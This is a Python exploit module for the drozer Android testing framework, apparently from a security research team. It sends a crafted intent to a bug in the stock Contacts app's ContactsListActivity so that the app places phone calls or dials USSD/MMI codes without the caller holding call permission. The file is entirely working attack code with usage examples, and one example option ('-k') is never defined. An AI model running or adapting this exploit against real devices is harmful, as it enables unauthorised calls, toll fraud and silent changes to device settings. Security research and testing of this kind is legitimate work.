"""
CVE-2014-N/A

http://www.curesec.com
by Curesec Research Team security@curesec.com

"""

from drozer import android
from drozer.modules import common, Module

#comment in to start ipython
#from IPython import embed



class callme2(Module):

    name = "Exploit CVE-2014-N/A abuse bug in ContactsListActivity"
    description = "Bug in ContactsListActivity is abused to conduct phone calls or send special codes"
    examples = "run curesec.exploit.callme2 -t 31337\nrun curesec.exploit.callme2 -c *%2343%23\nrun curesec.exploit.callme2 -k\n\n"
    author = "security@curesec.com"
    date = "2014-7-4"
    license = "BSD (3-clause)"
    path = ["curesec", "exploit"]

    def add_arguments(self, parser):
        parser.add_argument("-t", "--telephone",  default=None, help="specify the number to call")
        parser.add_argument("-c", "--code", default=None, help="USSD/MMI code, Attention! Use %23 for encoded #")

    def usagecallme(self):
       self.stderr.write("Name: Exploit CVE-2014-N/A abuse bug in ContactsListActivity\n")
       self.stderr.write("Desc: Bug in ContactsListActivity is abused to conduct phone calls or send special codes\n")
       self.stderr.write("Author: security@curesec.com\n")
       self.stderr.write("Examples:\nrun curesec.exploit.callme2 -t 31337\nrun curesec.exploit.callme2 -c *%2343%23\nrun curesec.exploit.callme2 -k\n\n")


    def execute(self, arguments):
#Namespace(action='android.provider.Contacts.SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED', category=None, component=['com.android.contacts', 'com.android.contacts.ContactsListActivity'], data_uri='tel:123', extras=[], flags=[], help=False, mimetype=None)

        if arguments.code != None and arguments.telephone != None:
            self.usagecallme()
            self.stderr.write("Please specify only -t or -c\n")
            return 

        if arguments.code == None and arguments.telephone == None:
            self.usagecallme()
            self.stderr.write("Please specify -t or -c\n")
            return

        self.stdout.write("[+] Exploiting CVE-2014-N/A\n")

        if arguments.telephone != None:
            #set action as CALL
            act = "android.provider.Contacts.SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED"

            #add the prefix
            data = "tel:%s" % arguments.telephone
            self.stdout.write("[+] Dialing: %s\n" % arguments.telephone)

        elif arguments.code != None:
            #set action as CALL
            act = "android.provider.Contacts.SEARCH_SUGGESTION_DIAL_NUMBER_CLICKED"

            #add the prefix
            data = "tel:%s" % arguments.code
            self.stdout.write("[+] Sending code: %s\n" % arguments.code)

        else:
            self.stdout.write("[-] Something went wrong.\n")
            return


        #build the intent
        intent = android.Intent(action=act, data_uri=data, component=['com.android.contacts','com.android.contacts.ContactsListActivity'],flags=['ACTIVITY_NEW_TASK'])

        #debug, comment in to use ipython
        #embed()

        if intent.isValid():
            self.getContext().startActivity(intent.buildIn(self))
        else:
            self.stderr.write("[-] Invalid!\n")
